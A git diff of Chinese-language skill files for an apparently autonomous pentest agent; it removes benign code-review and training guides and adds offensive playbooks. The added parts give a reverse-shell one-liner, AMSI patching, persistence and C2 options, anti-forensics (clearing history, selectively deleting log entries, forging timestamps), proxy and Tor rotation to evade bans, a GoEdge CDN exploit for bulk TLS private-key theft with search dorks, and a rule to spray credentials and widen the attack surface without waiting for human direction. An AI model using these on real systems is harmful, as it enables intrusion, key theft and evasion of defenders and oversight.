不设 Bootstrap/Reason/Explore 磁盘状态机。按当前运行模式推进,但**读写黑板的纪律不变**:
| 模式 | 黑板用法 |
|------|----------|
| 单代理 / deep | 边干边 `upsert_project_fact`;读索引不够则 `get_project_fact` |
| plan_execute | 计划步骤产出认知后立即落库;重规划前 `list/search_project_facts` |
| supervisor | 协调者汇总子代理「待落库」并写入;子代理无工具则结构化交付 |
卡住时:换边/换起点/换攻击域;用 `search_project_facts` 重审已有 Fact,避免重复死路。负结果也要落库(见验证铁律 skill)。
## 行为触发器(纪律)
每步必检(不检=违反验证铁律):
1. **识别→搜**:识别任何组件/框架/版本/中间件 → 暂停利用 → 立即执行 `component-vuln-intel` 全部命令(browser_navigate+terminal curl7 个步骤全做)→ 结果用 `tentative` Fact 或本轮计划跟踪 → 搜完才继续。不搜就说「无已知漏洞」=幻觉;**验证后**再 `confirmed` / `record_vulnerability`
2. **拒绝→换路**:收到 403/429/超时/RST/WAF 拦/CDN 502/限流/空响应 → 禁止同条件重试 → 立即换路序列:SOCKS5 代理→换 UA→加 XFF→换协议(WS/DNS)→换端口→编码变异(完整代理获取/验证见 `proxy-tool-bootstrap`)→ 全换仍不通才写负结果 Fact`confirmed` + body 写清已测条件)换面。
3. **新认知→横向**:拿到凭据/域名/IP/路径 → 立即横向喷:凭据全服务复用 / 新域名全端口扫 / IP 反查同站 → 不等人指示自动扩展攻击面,并 `upsert_project_fact`(如 `auth/cred-*``target/related-*`)。有凭据不喷=遗漏。
违反判定:不搜就说「无已知漏洞」=幻觉;被拦不换路=放弃;有凭据不喷=遗漏 → 均违反验证铁律。
## 证据 / 战利品 / 改动
| 原「磁盘」概念 | 本产品做法 |
|----------------|------------|
| evidence/ | Fact `body` + `record_vulnerability` 的证明字段 + 工具执行记录;大文件放会话/项目 workspace |
| loot/ | 凭据特征写入 `auth/` Fact(注意脱敏与授权范围);完整秘密按项目策略处理 |
| changelog.md | 写入型改动在回复中台账化,并可 `note/change-*` Fact 记录主机/类型/位置/回滚命令 |
## 与验证铁律的衔接
详见 `pentest-verification`:搜索≠漏洞;无证据不写 `confirmed`;禁止空泛「可能/疑似」当结论;验证失败写负结果 Fact。
+24
View File
@@ -0,0 +1,24 @@
---
name: pentest-output-standards
description: >-
输出规范:中文分析,思维链,漏洞报告模板,负结果,黑板状态总览,改动台账,死锁突破。
Use when reporting findings, maintaining change ledger, or formatting pentest output.
tags: [渗透测试, penetration-testing, 红队]
---
## 输出规范
```
语言: 所有分析/推理/报告用中文,工具命令和代码用英文,CVE编号保留英文。
每步思维链: 当前模式(单代理/deep/plan_execute/supervisor) + 已读黑板要点 + 决策推理 + 执行 + 结果摘要
+ 是否已 upsert_project_fact / record_vulnerability。
漏洞报告(每个已验证 Fact/可交付项): 漏洞名+严重程度+影响版本+利用条件+利用步骤(请求/响应)+验证证据(✓实际输出)+影响+修复建议。
→ 同步 record_vulnerability;复现上下文另 upsert finding/chain/exploit/poc Fact。
负结果: 测试方法+结果+排除原因 → upsert 负结果 Fact,避免重复打点。
图状态总览(每轮结束): list/search_project_facts 摘要 + 当前进度 + 下一步;勿臆造未 get 的 body。
🚨改动台账(每处写入型改动实时记账,清不清交用户): #|时间|主机|类型|位置|内容|回滚命令
类型:webshell/新建账户/改配置/持久化/权限改动(DCSync/RBCD/影子凭据)/申请凭据/数据库改动/网络改动
改配置前先备份.bak把路径写进台账 | 交付输出完整台账+一键回滚脚本(逆序生成),系统绝不擅自清理。
可选: note/change-* Fact 固化台账条目。
死锁突破(连续多轮负结果且无新攻击面): 强制 list/search_project_facts 重审 → 换域/深度狩猎 → 向用户请求澄清或授权边界。
```
+20
View File
@@ -0,0 +1,20 @@
---
name: pentest-verification
description: >-
验证铁律:搜索≠漏洞,confirmed Fact须证据,tentative表线索,禁止空泛推测,负结果也落库,
想象力拉满+单步验证零容忍。Use when writing project facts, validating findings, or avoiding hallucination.
tags: [渗透测试, penetration-testing, 红队]
---
## 验证铁律(全系统最高规则,违反即幻觉)
```
1. 搜索结果 ≠ 漏洞。公开情报/PoC线索不可直接 record_vulnerability,也不可写 confidence=confirmed
可写 tentative 的 note/finding 线索,或只留本轮待验证方向,验证后再落库。
2. 每个 confirmed Fact 必须在 body(或关联漏洞 POC)附验证证据:命令输出/HTTP响应/文件内容/回连记录。
3. 禁止"可能/疑似/推测XX" —— 要么确认+证据写 Fact/漏洞,要么 tentative 标明线索,要么不报。
4. 验证失败 → 写负结果 Fact("测了XX,无可利用漏洞"),用 upsert_project_fact 落库,防止重复尝试。
5. 想象力拉满(敢想全网没人串过的链),单步验证零容忍(每段用真实证据钉死后再 confirmed)。
```
与黑板工具对齐见 `pentest-blackboard`
+28
View File
@@ -0,0 +1,28 @@
---
name: post-exploitation
description: >-
后渗透/提权+凭据破解+密码学:反弹shell,Linux/Windows提权,横向,隧道,免杀,C2持久化,hashcat/Padding Oracle/hash长度扩展。Use when post-exploitation, privilege escalation, lateral movement, or cracking crypto.
tags: [渗透测试, penetration-testing, 红队]
---
## 后渗透 / 提权 / 凭据破解 / 密码学
```
=== 后渗透/提权 ===
反弹shell: bash -i >& /dev/tcp/IP/4444 0>&1 | OpenSSL加密绕IDS | PTY: python3 -c 'import pty;pty.spawn("/bin/bash")'
Linux提权: sudo -l;SUID(GTFOBins);getcap;cron;可写文件 | LinPEAS/pspy | cap_setuid/Docker组/LD_PRELOAD
Windows提权: PrintSpoofer/GodPotato(SeImpersonate) | 服务错配/AlwaysInstallElevated | procdump LSASS→Mimikatz | winPEAS
横向: PtH crackmapexec/wmiexec | SSH密钥收割 | 凭据位置 .bash_history/.my.cnf/.netrc/.git-credentials
🚨RDP凭据确认(密码正确但RDP未启用): hydra报"account might be valid but not active for remote desktop" + impacket rdp_check返回"Connection reset by peer"(而非"Access Denied")= 密码正确但账户无RDP权限。
验证: 先用已知错误密码测rdp_check得到"Access Denied"作基线,目标密码返回reset=确认。确认后用同凭据喷其他服务(FTP/SMB/MySQL/BT Panel/SSH/Web后台)。
隧道: ssh -L/-D/-J | chisel反向SOCKS | ligolo-ng | 容器逃逸:特权容器chroot/CAP_SYS_ADMIN/docker.sock/runc CVE
免杀: Linux DDexec内存执行/memfd | Windows AMSI修补/直接syscall(SysWhispers3)/Donut/Sliver/Havoc
C2/持久化技术清单: Beacon(长睡眠+jitter低调) vs 交互式shell(打点快但吵) | 信道 HTTPS/DNS隧道/域前置(Domain Fronting)/CDN前置/合法云(Slack/Telegram/GitHub当C2)
Linux持久化: cron/systemd timer/SSH authorized_keys/PAM后门/LD_PRELOAD/.bashrc/rc.local/恶意内核模块
Windows持久化: 注册表Run键/计划任务/服务/WMI事件订阅(无文件)/启动文件夹/DLL劫持/COM劫持/快捷方式 | 每处持久化都进 `pentest-output-standards` 台账可回滚
=== 凭据破解 + 密码学攻击 ===
hash破解: hashcat -m <mode> hash wordlist -r rules/best64.rule | 识别 hashid/hash-identifier | 常用mode 0(MD5)/100(SHA1)/1000(NTLM)/1800(sha512crypt)/3200(bcrypt)/13100(Kerberoast TGS)/18200(AS-REP)/22000(WPA)/16500(JWT)
策略: 先字典(rockyou)+规则(best64/dive)→掩码爆破?d?d?d?d→组合攻击 | john --format= 兜底 | 在线彩虹表 crackstation先查
密码学攻击(不用爆破直接破): Padding Oracle(padbuster解密/伪造CBC密文) | ECB字节翻转(分块猜) | hash长度扩展(hashpump伪造签名,服务端 hash(secret+data)校验) | 弱IV/固定nonce复用(异或还原明文) | RSA小e/共模/Wiener小d(RsaCtfTool) | JWT alg混淆见 `web-attack-methods` 认证授权
```
+32
View File
@@ -0,0 +1,32 @@
---
name: proxy-tool-bootstrap
description: >-
自找代理+工具自举:SOCKS5/HTTP/Tor换路序列,工具Python自举,字典自生成,OOB基础设施。Use when blocked by 403/429/WAF/timeout, missing tools, or needing OOB confirmation.
tags: [渗透测试, penetration-testing, 红队]
---
## 自找代理 + 工具自举(被拦换路,没工具自己写)
```
🔴代理(收到拒绝/限流/超时 → 第一反应不是重试,是换路。不换路=放弃=违反黑板触发器2(见 `pentest-blackboard`):
执行序列(按顺序,前一步失败才下一步):
①探目标地区: terminal: curl -s "http://ip-api.com/json/{目标IP}" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d['country'],d['countryCode'])"
②获取该地区SOCKS5代理: terminal: curl -s "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country={countryCode}&timeout=5000" | head -20
③验证代理可达目标: terminal: curl --socks5 {PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w "%{http_code}" {目标URL}
④200=可用,立即用此代理重新执行被拦请求; 非200=换下一个代理重复③
⑤全部SOCKS5失败→获取HTTP代理: terminal: curl -s "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&country={countryCode}&timeout=5000" | head -20
⑥HTTP代理验证: terminal: curl --proxy http://{PROXY_IP:PORT} --connect-timeout 8 -s -o /dev/null -w "%{http_code}" {目标URL}
⑦全代理失败→Tor: terminal: curl --socks5 127.0.0.1:9050 --connect-timeout 15 {目标URL}
工具统一加代理参数: curl --socks5 / sqlmap --proxy=socks5://{P} / nmap --proxies socks5://{P} / nuclei -proxy socks5://{P} / ffuf -x socks5://{P}
轮换策略: 429/403→立即换下一个代理,每20请求主动换(避免新IP也被ban) | Cloudflare→代理池+请求间隔2-5s随机
🚨HTTP代理vs SOCKS5: HTTP代理会插入自己的错误页(502/无法显示此页)导致无法区分目标实际响应→需探测时必须用SOCKS5(--socks5)
ProxyScrape SOCKS5: https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5&country=CN,JP&timeout=5000
验证SOCKS5: curl --socks5 IP:PORT --connect-timeout 5 目标 | HTTP代理只适合已确认可达的目标做匿名/轮换
工具自举(which X || 用Python实现):
无nmap→socket扫端口 | 无ffuf→requests爆目录 | 无sqlmap→手工payload检测 | 无hydra→requests爆破 | 无nuclei→requests打已知payload
复杂工具用Python模拟:爬虫requests+bs4 / 编码base64/hex / 哈希hashlib / 加密pycryptodome / 嗅探scapy
字典自生成: 基于目标域名/公司名造变体 | 从网页提关键词 | 用户名+年份+特殊字符组合 | 服务默认凭据
OOB基础设施(盲漏洞都靠它): interactsh-client拿oast.fun域名 | 或VPS python3 -m http.server/nc看回连 | ngrok/cloudflared隧道
→ 看到OOB回连(DNS查询/HTTP请求)才算确认 → 写Fact
```
+22
View File
@@ -0,0 +1,22 @@
---
name: redteam-opsec
description: >-
OPSEC隐蔽作战纪律:IP黑名单绕过,速率时序,流量混淆,最小足迹,反取证,渐进暴露。Use when maintaining stealth, bypassing IP bans, or planning covert red-team ops.
tags: [渗透测试, penetration-testing, 红队]
---
## OPSEC / 隐蔽作战纪律(免杀 / 稳定 / 隐蔽)
```
核心: 打得进 ≠ 打得稳。被发现即行动归零。每个动作执行前先问"这步在防守方眼里长什么样"。
🚨IP黑名单绕过(被ban后第一时间试): X-Forwarded-For: 随机IP (CDN信任此头时直接绕过应用层黑名单,返回code:10010/黑名单时逐个试XFF/X-Real-IP/CF-Connecting-IP/True-Client-IP)
验证: 正常请求返回"黑名单"+你的IP → 加XFF头后返回正常200 → 后续所有请求都带XFF
进阶: 每N个请求换一个XFF值(避免新IP也被ban) | 有些CDN只信任第一个XFF值,有些信最后一个
速率与时序: 扫描限速(nuclei -rl / nmap -T2 --max-rate / ffuf -p延迟)避开WAF封禁+IDS阈值告警 | 高危动作低频+随机jitter | 避业务高峰也避深夜(贴合目标作息最不显眼)
流量混淆: 贴正常业务(常见UA/Referer/合法路径) | 重武器前先探防御(进程列表/已知EDR/SIEM agent特征) → 有则静默手法优先,无监控才上自动化批量
最小足迹: 内存执行优先不落盘(DDexec/memfd/反射加载) | webshell强口令+非常见路径+功能伪装 | 隧道走443/DNS贴常见出站 | 工具用完即删(/dev/shm内存盘,不留残骸)
反取证: 命令历史 unset HISTFILE / set +o history | 日志选择性删自己条目(truncate全清反而触发告警) | 时间戳 touch -r参照邻近文件保persist mtime | 别动监控/审计服务(停了就是告警)
渐进暴露: 被动侦察(证书透明/被动DNS/搜索引擎/资产引擎)→确认无强监控→才主动扫描→最后才上利用落地。能公开情报拿到的绝不主动碰目标。每升一级问"值不值得暴露"。
> 隐蔽不是洁癖,是红队的生存能力。一次莽撞的全端口全速扫描就可能让整个行动归零。
```
-286
View File
@@ -1,286 +0,0 @@
---
name: secure-code-review
description: 安全代码审查的专业技能和方法论
version: 1.0.0
---
# 安全代码审查
## 概述
安全代码审查是识别代码中安全漏洞的重要方法。本技能提供安全代码审查的方法、工具和最佳实践。
## 审查范围
### 1. 输入验证
**检查项目:**
- 用户输入验证
- 参数验证
- 数据过滤
- 边界检查
### 2. 输出编码
**检查项目:**
- XSS防护
- 输出编码
- 内容安全策略
- 响应头设置
### 3. 认证授权
**检查项目:**
- 认证机制
- 会话管理
- 权限控制
- 密码处理
### 4. 加密和密钥
**检查项目:**
- 数据加密
- 密钥管理
- 哈希算法
- 随机数生成
## 审查方法
### 1. 静态分析
**使用SAST工具:**
```bash
# SonarQube
sonar-scanner
# Checkmarx
# 使用Web界面
# Fortify
sourceanalyzer -b project build.sh
sourceanalyzer -b project -scan
# Semgrep
semgrep --config=auto .
```
### 2. 手动审查
**审查清单:**
- [ ] 输入验证
- [ ] 输出编码
- [ ] SQL注入
- [ ] XSS漏洞
- [ ] 认证授权
- [ ] 加密使用
- [ ] 错误处理
- [ ] 日志记录
### 3. 代码模式识别
**危险函数:**
```python
# Python危险函数
eval()
exec()
pickle.loads()
os.system()
subprocess.call()
```
```java
// Java危险函数
Runtime.exec()
ProcessBuilder()
Class.forName()
```
```php
// PHP危险函数
eval()
exec()
system()
passthru()
```
## 常见漏洞模式
### SQL注入
**危险代码:**
```java
String query = "SELECT * FROM users WHERE id = " + userId;
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
```
**安全代码:**
```java
String query = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setInt(1, userId);
ResultSet rs = stmt.executeQuery();
```
### XSS漏洞
**危险代码:**
```javascript
document.innerHTML = userInput;
element.innerHTML = "<div>" + userInput + "</div>";
```
**安全代码:**
```javascript
element.textContent = userInput;
element.setAttribute("data-value", userInput);
// 或使用编码库
element.innerHTML = escapeHtml(userInput);
```
### 命令注入
**危险代码:**
```python
import os
os.system("ping " + user_input)
```
**安全代码:**
```python
import subprocess
subprocess.run(["ping", "-c", "1", validated_input])
```
### 路径遍历
**危险代码:**
```java
String filePath = "/uploads/" + fileName;
File file = new File(filePath);
```
**安全代码:**
```java
String basePath = "/uploads/";
String fileName = Paths.get(fileName).getFileName().toString();
String filePath = basePath + fileName;
File file = new File(filePath);
if (!file.getCanonicalPath().startsWith(basePath)) {
throw new SecurityException("Invalid path");
}
```
### 硬编码密钥
**危险代码:**
```java
String apiKey = "1234567890abcdef";
String password = "admin123";
```
**安全代码:**
```java
String apiKey = System.getenv("API_KEY");
String password = keyStore.getPassword("db_password");
```
## 工具使用
### SonarQube
```bash
# 启动SonarQube
docker run -d -p 9000:9000 sonarqube
# 运行扫描
sonar-scanner \
-Dsonar.projectKey=myproject \
-Dsonar.sources=. \
-Dsonar.host.url=http://localhost:9000
```
### Semgrep
```bash
# 安装
pip install semgrep
# 运行扫描
semgrep --config=auto .
# 使用规则
semgrep --config=p/security-audit .
```
### CodeQL
```bash
# 创建数据库
codeql database create database --language=java --source-root=.
# 运行查询
codeql database analyze database security-and-quality.qls --format=sarif-latest
```
## 审查清单
### 输入验证
- [ ] 所有用户输入都经过验证
- [ ] 使用白名单验证
- [ ] 验证数据类型和范围
- [ ] 处理特殊字符
### 输出编码
- [ ] HTML输出编码
- [ ] URL编码
- [ ] JavaScript编码
- [ ] SQL参数化
### 认证授权
- [ ] 强密码策略
- [ ] 安全的会话管理
- [ ] 权限验证
- [ ] 多因素认证
### 加密
- [ ] 使用强加密算法
- [ ] 密钥安全存储
- [ ] 传输加密
- [ ] 存储加密
### 错误处理
- [ ] 不泄露敏感信息
- [ ] 统一错误响应
- [ ] 记录错误日志
- [ ] 异常处理
## 最佳实践
### 1. 安全编码规范
- 遵循OWASP Top 10
- 使用安全编码指南
- 代码审查流程
- 安全培训
### 2. 自动化工具
- 集成SAST工具
- CI/CD安全检查
- 自动化扫描
- 结果分析
### 3. 代码审查流程
- 同行审查
- 安全专家审查
- 定期审查
- 记录问题
## 注意事项
- 结合工具和人工审查
- 关注业务逻辑漏洞
- 定期更新工具规则
- 建立安全编码文化
-383
View File
@@ -1,383 +0,0 @@
---
name: security-automation
description: 安全自动化的专业技能和方法论
version: 1.0.0
---
# 安全自动化
## 概述
安全自动化是提高安全运营效率的重要手段。本技能提供安全自动化的方法、工具和最佳实践。
## 自动化场景
### 1. 漏洞扫描
**自动化扫描:**
- 定期扫描
- CI/CD集成
- 结果分析
- 报告生成
### 2. 安全测试
**自动化测试:**
- 单元测试
- 集成测试
- 安全测试
- 回归测试
### 3. 事件响应
**自动化响应:**
- 事件检测
- 自动遏制
- 通知告警
- 证据收集
### 4. 合规检查
**自动化合规:**
- 配置检查
- 策略验证
- 报告生成
- 修复建议
## 工具和框架
### 漏洞扫描自动化
**使用Nessus API**
```python
import requests
# 创建扫描
def create_scan(target, scan_name):
url = "https://nessus:8834/scans"
headers = {"X-ApiKeys": "access_key:secret_key"}
data = {
"uuid": "template-uuid",
"settings": {
"name": scan_name,
"text_targets": target
}
}
response = requests.post(url, json=data, headers=headers)
return response.json()
# 启动扫描
def launch_scan(scan_id):
url = f"https://nessus:8834/scans/{scan_id}/launch"
headers = {"X-ApiKeys": "access_key:secret_key"}
response = requests.post(url, headers=headers)
return response.json()
```
**使用OpenVAS API**
```python
from gvm.connections import UnixSocketConnection
from gvm.protocols.gmp import Gmp
# 连接OpenVAS
connection = UnixSocketConnection()
gmp = Gmp(connection)
gmp.authenticate('username', 'password')
# 创建扫描任务
target = gmp.create_target(name='target', hosts=['192.168.1.0/24'])
config = gmp.get_configs()[0]
scanner = gmp.get_scanners()[0]
task = gmp.create_task(
name='scan_task',
config_id=config['id'],
target_id=target['id'],
scanner_id=scanner['id']
)
# 启动扫描
gmp.start_task(task['id'])
```
### CI/CD集成
**Jenkins Pipeline**
```groovy
pipeline {
agent any
stages {
stage('Security Scan') {
steps {
sh 'npm audit'
sh 'snyk test'
sh 'sonar-scanner'
}
}
stage('Vulnerability Scan') {
steps {
sh 'nmap --script vuln target'
}
}
}
post {
always {
publishHTML([
reportDir: 'reports',
reportFiles: 'report.html',
reportName: 'Security Report'
])
}
}
}
```
**GitHub Actions**
```yaml
name: Security Scan
on: [push, pull_request]
jobs:
security-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
- name: Run SonarQube
uses: sonarsource/sonarqube-scan-action@master
env:
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
```
### 安全测试自动化
**使用OWASP ZAP**
```python
from zapv2 import ZAPv2
# 启动ZAP
zap = ZAPv2(proxies={'http': 'http://127.0.0.1:8080'})
# 开始扫描
zap.urlopen('http://target.com')
zap.spider.scan('http://target.com')
while int(zap.spider.status()) < 100:
time.sleep(1)
# 主动扫描
zap.ascan.scan('http://target.com')
while int(zap.ascan.status()) < 100:
time.sleep(1)
# 获取结果
alerts = zap.core.alerts()
```
**使用Burp Suite**
```python
from burp import IBurpExtender, IScannerCheck
class BurpExtender(IBurpExtender, IScannerCheck):
def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks
self._helpers = callbacks.getHelpers()
callbacks.setExtensionName("Security Automation")
callbacks.registerScannerCheck(self)
def doPassiveScan(self, baseRequestResponse):
# 被动扫描逻辑
return None
def doActiveScan(self, baseRequestResponse, insertionPoint):
# 主动扫描逻辑
return None
```
### 事件响应自动化
**使用Splunk**
```python
import splunklib.client as client
# 连接Splunk
service = client.connect(
host='splunk.example.com',
port=8089,
username='admin',
password='password'
)
# 搜索安全事件
search_query = 'index=security event_type="malware"'
kwargs = {"earliest_time": "-1h", "latest_time": "now"}
search = service.jobs.create(search_query, **kwargs)
# 处理结果
for result in search:
if result['severity'] == 'high':
# 自动响应
send_alert(result)
isolate_system(result['host'])
```
**使用ELK Stack**
```python
from elasticsearch import Elasticsearch
# 连接Elasticsearch
es = Elasticsearch(['localhost:9200'])
# 搜索安全事件
query = {
"query": {
"match": {
"event_type": "intrusion"
}
}
}
results = es.search(index="security", body=query)
# 自动响应
for hit in results['hits']['hits']:
if hit['_source']['severity'] == 'critical':
# 自动遏制
block_ip(hit['_source']['src_ip'])
send_alert(hit['_source'])
```
## 自动化脚本
### 漏洞扫描脚本
```python
#!/usr/bin/env python3
import subprocess
import json
import smtplib
from email.mime.text import MIMEText
def run_nmap_scan(target):
"""运行Nmap扫描"""
result = subprocess.run(
['nmap', '--script', 'vuln', '-oJ', '-', target],
capture_output=True,
text=True
)
return json.loads(result.stdout)
def analyze_results(results):
"""分析扫描结果"""
vulnerabilities = []
for host in results.get('hosts', []):
for port in host.get('ports', []):
for script in port.get('scripts', []):
if script.get('id') == 'vuln':
vulnerabilities.append({
'host': host['address'],
'port': port['portid'],
'vuln': script.get('output', '')
})
return vulnerabilities
def send_report(vulnerabilities):
"""发送报告"""
if vulnerabilities:
msg = MIMEText(f"发现 {len(vulnerabilities)} 个漏洞")
msg['Subject'] = '漏洞扫描报告'
msg['From'] = 'security@example.com'
msg['To'] = 'admin@example.com'
server = smtplib.SMTP('smtp.example.com')
server.send_message(msg)
server.quit()
if __name__ == '__main__':
target = '192.168.1.0/24'
results = run_nmap_scan(target)
vulnerabilities = analyze_results(results)
send_report(vulnerabilities)
```
### 配置检查脚本
```python
#!/usr/bin/env python3
import boto3
import json
def check_s3_buckets():
"""检查S3存储桶安全配置"""
s3 = boto3.client('s3')
buckets = s3.list_buckets()
issues = []
for bucket in buckets['Buckets']:
# 检查公开访问
try:
acl = s3.get_bucket_acl(Bucket=bucket['Name'])
for grant in acl.get('Grants', []):
if grant.get('Grantee', {}).get('URI') == 'http://acs.amazonaws.com/groups/global/AllUsers':
issues.append({
'bucket': bucket['Name'],
'issue': 'Public access enabled'
})
except:
pass
# 检查加密
try:
encryption = s3.get_bucket_encryption(Bucket=bucket['Name'])
except:
issues.append({
'bucket': bucket['Name'],
'issue': 'Encryption not enabled'
})
return issues
if __name__ == '__main__':
issues = check_s3_buckets()
print(json.dumps(issues, indent=2))
```
## 最佳实践
### 1. 自动化策略
- 识别可自动化场景
- 制定自动化计划
- 逐步实施
- 持续改进
### 2. 工具选择
- 评估工具功能
- 考虑集成性
- 考虑成本
- 测试验证
### 3. 流程设计
- 明确流程步骤
- 定义触发条件
- 设置异常处理
- 记录操作日志
### 4. 监控和维护
- 监控自动化任务
- 定期检查结果
- 更新规则和脚本
- 优化性能
## 注意事项
- 确保自动化准确性
- 设置适当的权限
- 保护自动化凭证
- 定期审查自动化规则
-285
View File
@@ -1,285 +0,0 @@
---
name: security-awareness-training
description: 安全意识培训的专业技能和方法论
version: 1.0.0
---
# 安全意识培训
## 概述
安全意识培训是提高组织整体安全水平的重要措施。本技能提供安全意识培训的方法、内容和最佳实践。
## 培训目标
### 1. 知识提升
**目标:**
- 了解安全威胁
- 识别安全风险
- 掌握防护措施
- 理解安全政策
### 2. 行为改变
**目标:**
- 养成安全习惯
- 遵守安全规范
- 主动报告事件
- 参与安全活动
### 3. 文化建立
**目标:**
- 建立安全文化
- 提高安全意识
- 促进安全协作
- 持续改进
## 培训内容
### 1. 基础安全
**内容:**
- 密码安全
- 账户安全
- 设备安全
- 网络安全
**密码安全:**
- 使用强密码
- 密码不重用
- 启用多因素认证
- 定期更换密码
**账户安全:**
- 保护账户信息
- 不共享账户
- 及时注销账户
- 监控账户活动
### 2. 邮件安全
**内容:**
- 识别钓鱼邮件
- 处理可疑邮件
- 附件安全
- 链接安全
**钓鱼邮件识别:**
- 检查发件人
- 检查链接
- 检查附件
- 检查内容
**处理可疑邮件:**
- 不点击链接
- 不打开附件
- 报告安全团队
- 删除邮件
### 3. 社交工程
**内容:**
- 识别社交工程
- 防范社交工程
- 报告可疑行为
**常见手段:**
- 假冒身份
- 紧急情况
- 权威要求
- 利益诱惑
**防范措施:**
- 验证身份
- 不轻信
- 报告可疑
- 遵守流程
### 4. 数据安全
**内容:**
- 数据分类
- 数据保护
- 数据共享
- 数据销毁
**数据保护:**
- 加密敏感数据
- 安全存储
- 安全传输
- 访问控制
**数据共享:**
- 最小化共享
- 使用安全渠道
- 验证接收方
- 记录共享
### 5. 物理安全
**内容:**
- 设备安全
- 办公环境
- 访客管理
- 应急响应
**设备安全:**
- 锁定屏幕
- 保护设备
- 安全存储
- 及时报告丢失
## 培训方法
### 1. 在线培训
**优势:**
- 灵活方便
- 可重复学习
- 成本较低
- 易于跟踪
**实施:**
- 使用LMS平台
- 制作培训内容
- 设置学习路径
- 跟踪学习进度
### 2. 面对面培训
**优势:**
- 互动性强
- 即时反馈
- 深度讨论
- 建立关系
**实施:**
- 定期培训
- 分组讨论
- 案例分析
- 实践演练
### 3. 模拟演练
**优势:**
- 真实场景
- 实践操作
- 检验效果
- 提高能力
**实施:**
- 钓鱼邮件演练
- 社交工程演练
- 应急响应演练
- 安全事件演练
## 培训计划
### 新员工培训
**内容:**
- 安全政策
- 基础安全知识
- 工具使用
- 报告流程
**时间:**
- 入职时
- 第一周
- 持续跟进
### 定期培训
**内容:**
- 最新威胁
- 安全更新
- 案例分析
- 最佳实践
**频率:**
- 季度培训
- 年度培训
- 专项培训
### 专项培训
**内容:**
- 特定角色培训
- 深度培训
- 认证培训
**对象:**
- 管理员
- 开发人员
- 安全人员
- 管理层
## 评估方法
### 1. 知识测试
**方法:**
- 在线测试
- 问卷调查
- 技能评估
**指标:**
- 测试分数
- 通过率
- 改进情况
### 2. 行为观察
**方法:**
- 模拟演练
- 实际观察
- 事件分析
**指标:**
- 演练结果
- 事件数量
- 报告数量
### 3. 反馈收集
**方法:**
- 培训反馈
- 满意度调查
- 建议收集
**指标:**
- 满意度
- 改进建议
- 培训效果
## 最佳实践
### 1. 内容设计
- 针对性强
- 实用易懂
- 案例丰富
- 持续更新
### 2. 实施策略
- 定期培训
- 多种形式
- 互动参与
- 跟踪效果
### 3. 文化建设
- 领导支持
- 全员参与
- 持续改进
- 奖励机制
## 注意事项
- 内容要实用
- 形式要多样
- 跟踪要持续
- 改进要及时
+20
View File
@@ -0,0 +1,20 @@
---
name: source-code-hunting
description: >-
源码狩猎:.git泄露,危险函数grep,JS RC4解混淆,semgrep/CodeQL,trufflehog,patch diff,供应链/CI。Use when hunting source leaks, secrets, JS deobfuscation, or supply-chain issues.
tags: [渗透测试, penetration-testing, 红队]
---
## 源码狩猎
```
=== 源码狩猎 ===
.git泄露: git-dumper → git log -p --all(已删敏感文件) | .svn/.DS_Store/composer.lock
危险函数grep: exec/system/eval/unserialize/pickle.loads/render/curl_exec + 硬编码密钥(sk-/ghp_/BEGIN RSA)
JS混淆破解(RC4+base64字符串数组模式): 1)提取字符串数组(var a0G=[...]) 2)找解码函数(a0m(idx,key)→RC4解密+base64) 3)找rotation IIFE(目标偏移量) 4)Node.js重建解码器批量解码全部字符串→得到明文变量名/API路径/配置
UniApp特征: app-service.js(业务逻辑,常800KB+混淆) + zlsioh.dat(加密配置,native .so解密) + dcloud_uniplugins.json(插件清单)
静态扫描: semgrep --config=auto 快扫 / CodeQL建库写query (taint求解+变体分析方法论见 `zero-day-discovery`)
Secrets深挖: trufflehog/gitleaks 扫git全历史+docker镜像层+npm/PyPI tarball+前端bundle(--only-verified区分死活密钥)
框架Patch Diff: clone前后版本 diff → 修了什么=漏洞在哪 | 依赖链: composer.json/npm audit/pip-audit
供应链/CI: 依赖混淆(内部包名抢注公共registry) | GHA命令注入${{github.event.issue.title}} | self-hosted runner接管 | .npmrc/.pypirc凭据
```
@@ -0,0 +1,169 @@
---
name: specialized-attack-playbooks
description: >-
专题实战利用:GoEdge私钥导出,灰产CDN取证,ARP MITM,CDN→S3 STS链,宝塔+UniApp,AI IDE API反代,OCS+MinIO;含references/scripts支持文件索引。Use when applying specialized playbooks for GoEdge, CDN, ARP MITM, BT Panel, OCS, MinIO.
tags: [渗透测试, penetration-testing, 红队]
---
## 专题实战利用(全内联)
### GoEdge CDN(8002端口)私钥批量导出
```
指纹: curl -s http://T:8002/ → {"message":"Welcome to API"} | POST /SSLCertService/findEnabledSSLCertConfig → 要X-Cloud-Access-Token
漏洞: findEnabledSSLCertConfig 只校验身份不校验范围 → 任意管理员key可导出全系统TLS私钥(keyData=明文PEM base64)
认证两步: POST /APIAccessTokenService/getAPIAccessToken {"accessKeyId":AK,"accessKey":SK,"type":"admin"} → data.token
后续请求带 Header X-Cloud-Access-Token: <token>
批量提取(Python): for id in range(1,500): POST /SSLCertService/findEnabledSSLCertConfig {"sslCertId":id} headers={token}
→ r.json()['data']['sslCertJSON'] base64解码 → json → dnsNames + keyData(base64 PEM私钥) | 跳过 b64=="bnVsbA=="(null)
资产: Fofa app="GoEdge"&&port="8002" / Shodan http.title:"GoEdge" port:8002 / "Welcome to API" port:8002
利用: 私钥→MITM/流量解密/伪造证书 | AK/SK凭据复用打其他GoEdge实例 | 拿管理权访问CDN边缘节点
```
### 灰产CDN后渗透取证(拿下CDN后摸清它在运营什么)
```
五步: ①全量枚举证书(ID 1-500,过期/禁用的也含私钥,揭示历史运营) ②关键词初分类 ③真实访问验证(关键!不能只信证书域名,
requests跟随重定向看最终落地页title/meta/h1/JS跳转) ④按真实内容重新分类 ⑤标注高价值目标
